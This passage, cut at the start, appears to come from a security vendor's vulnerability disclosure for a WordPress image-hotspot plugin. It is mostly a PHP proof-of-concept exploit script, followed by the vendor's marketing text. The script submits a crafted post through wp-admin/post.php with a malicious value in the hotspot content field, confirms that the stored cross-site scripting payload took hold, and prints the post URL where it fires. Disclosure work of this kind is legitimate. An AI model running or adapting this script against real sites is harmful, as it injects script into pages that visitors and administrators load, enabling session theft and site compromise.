    'post_title' => 'Atomic Edge XSS Test Post',
    'post_status' => 'publish',
    'maps_points_meta_box_nonce' => $nonce,
    'maps_images' => 'https://example.com/dummy-image.jpg',
    'pointdata[content][]' => $malicious_content,
    'pointdata[top][]' => '50',
    'pointdata[left][]' => '50',
    'pointdata[linkpins][]' => '',
    'pointdata[link_target][]' => '_self',
    'pointdata[placement][]' => 'n',
    'pointdata[pinsalt][]' => 'xss-test',
    'pointdata[pins_id][]' => 'xss-pin',
    'pointdata[pins_class][]' => 'malicious',
    'action' => 'editpost',
    '_wp_http_referer' => '/wp-admin/post-new.php?post_type=points_image',
    'publish' => 'Publish'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$submit_response = curl_exec($ch);

// Verify the post was created
if (strpos($submit_response, 'Post published.') !== false || strpos($submit_response, 'Post updated.') !== false) {
    echo 'XSS payload successfully injected. Visit the hotspot post to trigger execution.n';
    
    // Extract the post URL from response
    preg_match('/post=([0-9]+)&action=edit/', $submit_response, $edit_matches);
    if (!empty($edit_matches[1])) {
        $final_post_id = $edit_matches[1];
        echo 'Post URL: ' . $target_url . '/?post_type=points_image&p=' . $final_post_id . 'n';
    }
} else {
    echo 'Payload injection may have failed. Check response.n';
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School